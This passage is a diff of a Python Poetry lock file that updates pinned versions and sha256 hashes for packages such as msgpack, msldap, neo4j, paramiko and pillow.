"sha256:f94190df587738280d544971500b9cafc9b950d32efcb1fba9ac10d84e6aa4e6"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b6a387d61fe41cdf7ea95b38e9af11cfb1a63499af2759444b99185c4ab33f5b"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8ad4ad1429cd4f315f32ef263c1342166695fad76c100c5d979c45d5570ed58b"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:e24bfe89c6ac4c31792793ad9f861b8f6dc4546ac6dc8f1c9083c7c4f2b335cd"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2a4b34a8d14649315c4bc26bbfa352663eb51d146e35eef231dd739d54a5430a"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-win32.whl", hash = "sha256:242d6860f1fd9191aef5fae22b51c5c19767f93fb9ead4d21924e0bcb17619d8"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:93e8248d650e7e9d49e8251f883eed60ecbc0e8ffd6349e18550925e31bd029b"}, + {file = "markupsafe-3.0.1.tar.gz", hash = "sha256:3e683ee4f5d0fa2dde4db77ed8dd8a876686e3fc417655c2ece9a90576905344"}, ] [[package]] @@ -1203,13 +1250,13 @@ files = [ [[package]] name = "minidump" -version = "0.0.23" +version = "0.0.24" description = "Python library to parse Windows minidump file format" optional = false python-versions = ">=3.6" files = [ - {file = "minidump-0.0.23-py3-none-any.whl", hash = "sha256:b64ba764ea6db03f90dcd91fa516794ee729f3555ec8735700bdbfb58e0f1181"}, - {file = "minidump-0.0.23.tar.gz", hash = "sha256:47eb736b90bfd9e8246a349c9a2969ffcaa8c284a495855f101f9fd0a30d06a4"}, + {file = "minidump-0.0.24-py3-none-any.whl", hash = "sha256:9c016e35c8fe37c82a01b0a266f5416a0b0138934d92affb436ac2e72372bec6"}, + {file = "minidump-0.0.24.tar.gz", hash = "sha256:f7ae09b944f3b17ccf5cecc66f9ff5a7a45b053474a13aeb012f4c9204470437"}, ] [[package]] @@ -1233,78 +1280,86 @@ unicrypto = ">=0.0.10" [[package]] name = "msgpack" -version = "1.0.8" +version = "1.1.0" description = "MessagePack serializer" optional = false python-versions = ">=3.8" files = [ - {file = "msgpack-1.0.8-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:505fe3d03856ac7d215dbe005414bc28505d26f0c128906037e66d98c4e95868"}, - {file = "msgpack-1.0.8-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e6b7842518a63a9f17107eb176320960ec095a8ee3b4420b5f688e24bf50c53c"}, - {file = "msgpack-1.0.8-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:376081f471a2ef24828b83a641a02c575d6103a3ad7fd7dade5486cad10ea659"}, - {file = "msgpack-1.0.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e390971d082dba073c05dbd56322427d3280b7cc8b53484c9377adfbae67dc2"}, - {file = "msgpack-1.0.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00e073efcba9ea99db5acef3959efa45b52bc67b61b00823d2a1a6944bf45982"}, - {file = "msgpack-1.0.8-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:82d92c773fbc6942a7a8b520d22c11cfc8fd83bba86116bfcf962c2f5c2ecdaa"}, - {file = "msgpack-1.0.8-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9ee32dcb8e531adae1f1ca568822e9b3a738369b3b686d1477cbc643c4a9c128"}, - {file = "msgpack-1.0.8-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e3aa7e51d738e0ec0afbed661261513b38b3014754c9459508399baf14ae0c9d"}, - {file = "msgpack-1.0.8-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:69284049d07fce531c17404fcba2bb1df472bc2dcdac642ae71a2d079d950653"}, - {file = "msgpack-1.0.8-cp310-cp310-win32.whl", hash = "sha256:13577ec9e247f8741c84d06b9ece5f654920d8365a4b636ce0e44f15e07ec693"}, - {file = "msgpack-1.0.8-cp310-cp310-win_amd64.whl", hash = "sha256:e532dbd6ddfe13946de050d7474e3f5fb6ec774fbb1a188aaf469b08cf04189a"}, - {file = "msgpack-1.0.8-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9517004e21664f2b5a5fd6333b0731b9cf0817403a941b393d89a2f1dc2bd836"}, - {file = "msgpack-1.0.8-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d16a786905034e7e34098634b184a7d81f91d4c3d246edc6bd7aefb2fd8ea6ad"}, - {file = "msgpack-1.0.8-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e2872993e209f7ed04d963e4b4fbae72d034844ec66bc4ca403329db2074377b"}, - {file = "msgpack-1.0.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c330eace3dd100bdb54b5653b966de7f51c26ec4a7d4e87132d9b4f738220ba"}, - {file = "msgpack-1.0.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:83b5c044f3eff2a6534768ccfd50425939e7a8b5cf9a7261c385de1e20dcfc85"}, - {file = "msgpack-1.0.8-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1876b0b653a808fcd50123b953af170c535027bf1d053b59790eebb0aeb38950"}, - {file = "msgpack-1.0.8-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:dfe1f0f0ed5785c187144c46a292b8c34c1295c01da12e10ccddfc16def4448a"}, - {file = "msgpack-1.0.8-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3528807cbbb7f315bb81959d5961855e7ba52aa60a3097151cb21956fbc7502b"}, - {file = "msgpack-1.0.8-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:e2f879ab92ce502a1e65fce390eab619774dda6a6ff719718069ac94084098ce"}, - {file = "msgpack-1.0.8-cp311-cp311-win32.whl", hash = "sha256:26ee97a8261e6e35885c2ecd2fd4a6d38252246f94a2aec23665a4e66d066305"}, - {file = "msgpack-1.0.8-cp311-cp311-win_amd64.whl", hash = "sha256:eadb9f826c138e6cf3c49d6f8de88225a3c0ab181a9b4ba792e006e5292d150e"}, - {file = "msgpack-1.0.8-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:114be227f5213ef8b215c22dde19532f5da9652e56e8ce969bf0a26d7c419fee"}, - {file = "msgpack-1.0.8-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:d661dc4785affa9d0edfdd1e59ec056a58b3dbb9f196fa43587f3ddac654ac7b"}, - {file = "msgpack-1.0.8-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d56fd9f1f1cdc8227d7b7918f55091349741904d9520c65f0139a9755952c9e8"}, - {file = "msgpack-1.0.8-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0726c282d188e204281ebd8de31724b7d749adebc086873a59efb8cf7ae27df3"}, - {file = "msgpack-1.0.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8db8e423192303ed77cff4dce3a4b88dbfaf43979d280181558af5e2c3c71afc"}, - {file = "msgpack-1.0.8-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99881222f4a8c2f641f25703963a5cefb076adffd959e0558dc9f803a52d6a58"}, - {file = "msgpack-1.0.8-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b5505774ea2a73a86ea176e8a9a4a7c8bf5d521050f0f6f8426afe798689243f"}, - {file = "msgpack-1.0.8-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:ef254a06bcea461e65ff0373d8a0dd1ed3aa004af48839f002a0c994a6f72d04"}, - {file = "msgpack-1.0.8-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e1dd7839443592d00e96db831eddb4111a2a81a46b028f0facd60a09ebbdd543"}, - {file = "msgpack-1.0.8-cp312-cp312-win32.whl", hash = "sha256:64d0fcd436c5683fdd7c907eeae5e2cbb5eb872fafbc03a43609d7941840995c"}, - {file = "msgpack-1.0.8-cp312-cp312-win_amd64.whl", hash = "sha256:74398a4cf19de42e1498368c36eed45d9528f5fd0155241e82c4082b7e16cffd"}, - {file = "msgpack-1.0.8-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:0ceea77719d45c839fd73abcb190b8390412a890df2f83fb8cf49b2a4b5c2f40"}, - {file = "msgpack-1.0.8-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1ab0bbcd4d1f7b6991ee7c753655b481c50084294218de69365f8f1970d4c151"}, - {file = "msgpack-1.0.8-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:1cce488457370ffd1f953846f82323cb6b2ad2190987cd4d70b2713e17268d24"}, - {file = "msgpack-1.0.8-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3923a1778f7e5ef31865893fdca12a8d7dc03a44b33e2a5f3295416314c09f5d"}, - {file = "msgpack-1.0.8-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a22e47578b30a3e199ab067a4d43d790249b3c0587d9a771921f86250c8435db"}, - {file = "msgpack-1.0.8-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bd739c9251d01e0279ce729e37b39d49a08c0420d3fee7f2a4968c0576678f77"}, - {file = "msgpack-1.0.8-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:d3420522057ebab1728b21ad473aa950026d07cb09da41103f8e597dfbfaeb13"}, - {file = "msgpack-1.0.8-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:5845fdf5e5d5b78a49b826fcdc0eb2e2aa7191980e3d2cfd2a30303a74f212e2"}, - {file = "msgpack-1.0.8-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6a0e76621f6e1f908ae52860bdcb58e1ca85231a9b0545e64509c931dd34275a"}, - {file = "msgpack-1.0.8-cp38-cp38-win32.whl", hash = "sha256:374a8e88ddab84b9ada695d255679fb99c53513c0a51778796fcf0944d6c789c"}, - {file = "msgpack-1.0.8-cp38-cp38-win_amd64.whl", hash = "sha256:f3709997b228685fe53e8c433e2df9f0cdb5f4542bd5114ed17ac3c0129b0480"}, - {file = "msgpack-1.0.8-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:f51bab98d52739c50c56658cc303f190785f9a2cd97b823357e7aeae54c8f68a"}, - {file = "msgpack-1.0.8-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:73ee792784d48aa338bba28063e19a27e8d989344f34aad14ea6e1b9bd83f596"}, - {file = "msgpack-1.0.8-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f9904e24646570539a8950400602d66d2b2c492b9010ea7e965025cb71d0c86d"}, - {file = "msgpack-1.0.8-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e75753aeda0ddc4c28dce4c32ba2f6ec30b1b02f6c0b14e547841ba5b24f753f"}, - {file = "msgpack-1.0.8-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5dbf059fb4b7c240c873c1245ee112505be27497e90f7c6591261c7d3c3a8228"}, - {file = "msgpack-1.0.8-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4916727e31c28be8beaf11cf117d6f6f188dcc36daae4e851fee88646f5b6b18"}, - {file = "msgpack-1.0.8-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:7938111ed1358f536daf311be244f34df7bf3cdedb3ed883787aca97778b28d8"}, - {file = "msgpack-1.0.8-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:493c5c5e44b06d6c9268ce21b302c9ca055c1fd3484c25ba41d34476c76ee746"}, - {file = "msgpack-1.0.8-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5fbb160554e319f7b22ecf530a80a3ff496d38e8e07ae763b9e82fadfe96f273"}, - {file = "msgpack-1.0.8-cp39-cp39-win32.whl", hash = "sha256:f9af38a89b6a5c04b7d18c492c8ccf2aee7048aff1ce8437c4683bb5a1df893d"}, - {file = "msgpack-1.0.8-cp39-cp39-win_amd64.whl", hash = "sha256:ed59dd52075f8fc91da6053b12e8c89e37aa043f8986efd89e61fae69dc1b011"}, - {file = "msgpack-1.0.8.tar.gz", hash = "sha256:95c02b0e27e706e48d0e5426d1710ca78e0f0628d6e89d5b5a5b91a5f12274f3"}, + {file = "msgpack-1.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7ad442d527a7e358a469faf43fda45aaf4ac3249c8310a82f0ccff9164e5dccd"}, + {file = "msgpack-1.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:74bed8f63f8f14d75eec75cf3d04ad581da6b914001b474a5d3cd3372c8cc27d"}, + {file = "msgpack-1.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:914571a2a5b4e7606997e169f64ce53a8b1e06f2cf2c3a7273aa106236d43dd5"}, + {file = "msgpack-1.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c921af52214dcbb75e6bdf6a661b23c3e6417f00c603dd2070bccb5c3ef499f5"}, + {file = "msgpack-1.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d8ce0b22b890be5d252de90d0e0d119f363012027cf256185fc3d474c44b1b9e"}, + {file = "msgpack-1.1.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:73322a6cc57fcee3c0c57c4463d828e9428275fb85a27aa2aa1a92fdc42afd7b"}, + {file = "msgpack-1.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e1f3c3d21f7cf67bcf2da8e494d30a75e4cf60041d98b3f79875afb5b96f3a3f"}, + {file = "msgpack-1.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:64fc9068d701233effd61b19efb1485587560b66fe57b3e50d29c5d78e7fef68"}, + {file = "msgpack-1.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:42f754515e0f683f9c79210a5d1cad631ec3d06cea5172214d2176a42e67e19b"}, + {file = "msgpack-1.1.0-cp310-cp310-win32.whl", hash = "sha256:3df7e6b05571b3814361e8464f9304c42d2196808e0119f55d0d3e62cd5ea044"}, + {file = "msgpack-1.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:685ec345eefc757a7c8af44a3032734a739f8c45d1b0ac45efc5d8977aa4720f"}, + {file = "msgpack-1.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3d364a55082fb2a7416f6c63ae383fbd903adb5a6cf78c5b96cc6316dc1cedc7"}, + {file = "msgpack-1.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:79ec007767b9b56860e0372085f8504db5d06bd6a327a335449508bbee9648fa"}, + {file = "msgpack-1.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6ad622bf7756d5a497d5b6836e7fc3752e2dd6f4c648e24b1803f6048596f701"}, + {file = "msgpack-1.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8e59bca908d9ca0de3dc8684f21ebf9a690fe47b6be93236eb40b99af28b6ea6"}, + {file = "msgpack-1.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5e1da8f11a3dd397f0a32c76165cf0c4eb95b31013a94f6ecc0b280c05c91b59"}, + {file = "msgpack-1.1.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:452aff037287acb1d70a804ffd022b21fa2bb7c46bee884dbc864cc9024128a0"}, + {file = "msgpack-1.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8da4bf6d54ceed70e8861f833f83ce0814a2b72102e890cbdfe4b34764cdd66e"}, + {file = "msgpack-1.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:41c991beebf175faf352fb940bf2af9ad1fb77fd25f38d9142053914947cdbf6"}, + {file = "msgpack-1.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a52a1f3a5af7ba1c9ace055b659189f6c669cf3657095b50f9602af3a3ba0fe5"}, + {file = "msgpack-1.1.0-cp311-cp311-win32.whl", hash = "sha256:58638690ebd0a06427c5fe1a227bb6b8b9fdc2bd07701bec13c2335c82131a88"}, + {file = "msgpack-1.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:fd2906780f25c8ed5d7b323379f6138524ba793428db5d0e9d226d3fa6aa1788"}, + {file = "msgpack-1.1.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:d46cf9e3705ea9485687aa4001a76e44748b609d260af21c4ceea7f2212a501d"}, + {file = "msgpack-1.1.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:5dbad74103df937e1325cc4bfeaf57713be0b4f15e1c2da43ccdd836393e2ea2"}, + {file = "msgpack-1.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:58dfc47f8b102da61e8949708b3eafc3504509a5728f8b4ddef84bd9e16ad420"}, + {file = "msgpack-1.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4676e5be1b472909b2ee6356ff425ebedf5142427842aa06b4dfd5117d1ca8a2"}, + {file = "msgpack-1.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:17fb65dd0bec285907f68b15734a993ad3fc94332b5bb21b0435846228de1f39"}, + {file = "msgpack-1.1.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a51abd48c6d8ac89e0cfd4fe177c61481aca2d5e7ba42044fd218cfd8ea9899f"}, + {file = "msgpack-1.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2137773500afa5494a61b1208619e3871f75f27b03bcfca7b3a7023284140247"}, + {file = "msgpack-1.1.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:398b713459fea610861c8a7b62a6fec1882759f308ae0795b5413ff6a160cf3c"}, + {file = "msgpack-1.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:06f5fd2f6bb2a7914922d935d3b8bb4a7fff3a9a91cfce6d06c13bc42bec975b"}, + {file = "msgpack-1.1.0-cp312-cp312-win32.whl", hash = "sha256:ad33e8400e4ec17ba782f7b9cf868977d867ed784a1f5f2ab46e7ba53b6e1e1b"}, + {file = "msgpack-1.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:115a7af8ee9e8cddc10f87636767857e7e3717b7a2e97379dc2054712693e90f"}, + {file = "msgpack-1.1.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:071603e2f0771c45ad9bc65719291c568d4edf120b44eb36324dcb02a13bfddf"}, + {file = "msgpack-1.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0f92a83b84e7c0749e3f12821949d79485971f087604178026085f60ce109330"}, + {file = "msgpack-1.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4a1964df7b81285d00a84da4e70cb1383f2e665e0f1f2a7027e683956d04b734"}, + {file = "msgpack-1.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59caf6a4ed0d164055ccff8fe31eddc0ebc07cf7326a2aaa0dbf7a4001cd823e"}, + {file = "msgpack-1.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0907e1a7119b337971a689153665764adc34e89175f9a34793307d9def08e6ca"}, + {file = "msgpack-1.1.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:65553c9b6da8166e819a6aa90ad15288599b340f91d18f60b2061f402b9a4915"}, + {file = "msgpack-1.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7a946a8992941fea80ed4beae6bff74ffd7ee129a90b4dd5cf9c476a30e9708d"}, + {file = "msgpack-1.1.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:4b51405e36e075193bc051315dbf29168d6141ae2500ba8cd80a522964e31434"}, + {file = "msgpack-1.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b4c01941fd2ff87c2a934ee6055bda4ed353a7846b8d4f341c428109e9fcde8c"}, + {file = "msgpack-1.1.0-cp313-cp313-win32.whl", hash = "sha256:7c9a35ce2c2573bada929e0b7b3576de647b0defbd25f5139dcdaba0ae35a4cc"}, + {file = "msgpack-1.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:bce7d9e614a04d0883af0b3d4d501171fbfca038f12c77fa838d9f198147a23f"}, + {file = "msgpack-1.1.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c40ffa9a15d74e05ba1fe2681ea33b9caffd886675412612d93ab17b58ea2fec"}, + {file = "msgpack-1.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1ba6136e650898082d9d5a5217d5906d1e138024f836ff48691784bbe1adf96"}, + {file = "msgpack-1.1.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e0856a2b7e8dcb874be44fea031d22e5b3a19121be92a1e098f46068a11b0870"}, + {file = "msgpack-1.1.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:471e27a5787a2e3f974ba023f9e265a8c7cfd373632247deb225617e3100a3c7"}, + {file = "msgpack-1.1.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:646afc8102935a388ffc3914b336d22d1c2d6209c773f3eb5dd4d6d3b6f8c1cb"}, + {file = "msgpack-1.1.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:13599f8829cfbe0158f6456374e9eea9f44eee08076291771d8ae93eda56607f"}, + {file = "msgpack-1.1.0-cp38-cp38-win32.whl", hash = "sha256:8a84efb768fb968381e525eeeb3d92857e4985aacc39f3c47ffd00eb4509315b"}, + {file = "msgpack-1.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:879a7b7b0ad82481c52d3c7eb99bf6f0645dbdec5134a4bddbd16f3506947feb"}, + {file = "msgpack-1.1.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:53258eeb7a80fc46f62fd59c876957a2d0e15e6449a9e71842b6d24419d88ca1"}, + {file = "msgpack-1.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7e7b853bbc44fb03fbdba34feb4bd414322180135e2cb5164f20ce1c9795ee48"}, + {file = "msgpack-1.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3e9b4936df53b970513eac1758f3882c88658a220b58dcc1e39606dccaaf01c"}, + {file = "msgpack-1.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46c34e99110762a76e3911fc923222472c9d681f1094096ac4102c18319e6468"}, + {file = "msgpack-1.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a706d1e74dd3dea05cb54580d9bd8b2880e9264856ce5068027eed09680aa74"}, + {file = "msgpack-1.1.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:534480ee5690ab3cbed89d4c8971a5c631b69a8c0883ecfea96c19118510c846"}, + {file = "msgpack-1.1.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8cf9e8c3a2153934a23ac160cc4cba0ec035f6867c8013cc6077a79823370346"}, + {file = "msgpack-1.1.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3180065ec2abbe13a4ad37688b61b99d7f9e012a535b930e0e683ad6bc30155b"}, + {file = "msgpack-1.1.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:c5a91481a3cc573ac8c0d9aace09345d989dc4a0202b7fcb312c88c26d4e71a8"}, + {file = "msgpack-1.1.0-cp39-cp39-win32.whl", hash = "sha256:f80bc7d47f76089633763f952e67f8214cb7b3ee6bfa489b3cb6a84cfac114cd"}, + {file = "msgpack-1.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:4d1b7ff2d6146e16e8bd665ac726a89c74163ef8cd39fa8c1087d4e52d3a2325"}, + {file = "msgpack-1.1.0.tar.gz", hash = "sha256:dd432ccc2c72b914e4cb77afce64aab761c1137cc698be3984eee260bcb2896e"}, ] [[package]] name = "msldap" -version = "0.5.10" +version = "0.5.12" description = "Python library to play with MS LDAP" optional = false python-versions = ">=3.7" files = [ - {file = "msldap-0.5.10-py3-none-any.whl", hash = "sha256:263a4bfa832f3b9f27163e5a752151608283745dba22ad8d7c560ae18e0e193b"}, - {file = "msldap-0.5.10.tar.gz", hash = "sha256:65bfe0e502c94d26f45d366f567cdb62462f27f655bd0ae2f0228fe3c9f989b8"}, + {file = "msldap-0.5.12-py3-none-any.whl", hash = "sha256:8569324aa1fe3ce5312f58dd27f2dc4357b0dfd9cd450f2efd27e6b54ace3bd0"}, + {file = "msldap-0.5.12.tar.gz", hash = "sha256:44a2a3d2850f925e50b6b82d4515c74ceea548b7c1fc4d3d0d3f6df65a0cc540"}, ] [package.dependencies] @@ -1320,13 +1375,13 @@ winacl = ">=0.1.8" [[package]] name = "neo4j" -version = "5.22.0" +version = "5.25.0" description = "Neo4j Bolt driver for Python" optional = false python-versions = ">=3.7" files = [ - {file = "neo4j-5.22.0-py3-none-any.whl", hash = "sha256:8146755ac93d33cee594975172c15cffb68ab158e3358bb7a73b5e0b83367006"}, - {file = "neo4j-5.22.0.tar.gz", hash = "sha256:199677239ce11fcecabce9962af515df271c1313ba110e737dd7d668fccd0c04"}, + {file = "neo4j-5.25.0-py3-none-any.whl", hash = "sha256:df310eee9a4f9749fb32bb9f1aa68711ac417b7eba3e42faefd6848038345ffa"}, + {file = "neo4j-5.25.0.tar.gz", hash = "sha256:7c82001c45319092cc0b5df4c92894553b7ab97bd4f59655156fa9acab83aec9"}, ] [package.dependencies] @@ -1378,13 +1433,13 @@ files = [ [[package]] name = "paramiko" -version = "3.4.0" +version = "3.5.0" description = "SSH2 protocol library" optional = false python-versions = ">=3.6" files = [ - {file = "paramiko-3.4.0-py3-none-any.whl", hash = "sha256:43f0b51115a896f9c00f59618023484cb3a14b98bbceab43394a39c6739b7ee7"}, - {file = "paramiko-3.4.0.tar.gz", hash = "sha256:aac08f26a31dc4dffd92821527d1682d99d52f9ef6851968114a8728f3c274d3"}, + {file = "paramiko-3.5.0-py3-none-any.whl", hash = "sha256:1fedf06b085359051cd7d0d270cebe19e755a8a921cc2ddbfa647fb0cd7d68f9"}, + {file = "paramiko-3.5.0.tar.gz", hash = "sha256:ad11e540da4f55cedda52931f1a3f812a8238a7af7f62a60de538cd80bb28124"}, ] [package.dependencies] @@ -1399,95 +1454,90 @@ invoke = ["invoke (>=2.0)"] [[package]] name = "pillow" -version = "10.4.0" +version = "11.0.0" description = "Python Imaging Library (Fork)" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" files = [ - {file = "pillow-10.4.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:4d9667937cfa347525b319ae34375c37b9ee6b525440f3ef48542fcf66f2731e"}, - {file = "pillow-10.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:543f3dc61c18dafb755773efc89aae60d06b6596a63914107f75459cf984164d"}, - {file = "pillow-10.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7928ecbf1ece13956b95d9cbcfc77137652b02763ba384d9ab508099a2eca856"}, - {file = "pillow-10.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4d49b85c4348ea0b31ea63bc75a9f3857869174e2bf17e7aba02945cd218e6f"}, - {file = "pillow-10.4.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:6c762a5b0997f5659a5ef2266abc1d8851ad7749ad9a6a5506eb23d314e4f46b"}, - {file = "pillow-10.4.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:a985e028fc183bf12a77a8bbf36318db4238a3ded7fa9df1b9a133f1cb79f8fc"}, - {file = "pillow-10.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:812f7342b0eee081eaec84d91423d1b4650bb9828eb53d8511bcef8ce5aecf1e"}, - {file = "pillow-10.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:ac1452d2fbe4978c2eec89fb5a23b8387aba707ac72810d9490118817d9c0b46"}, - {file = "pillow-10.4.0-cp310-cp310-win32.whl", hash = "sha256:bcd5e41a859bf2e84fdc42f4edb7d9aba0a13d29a2abadccafad99de3feff984"}, - {file = "pillow-10.4.0-cp310-cp310-win_amd64.whl", hash = 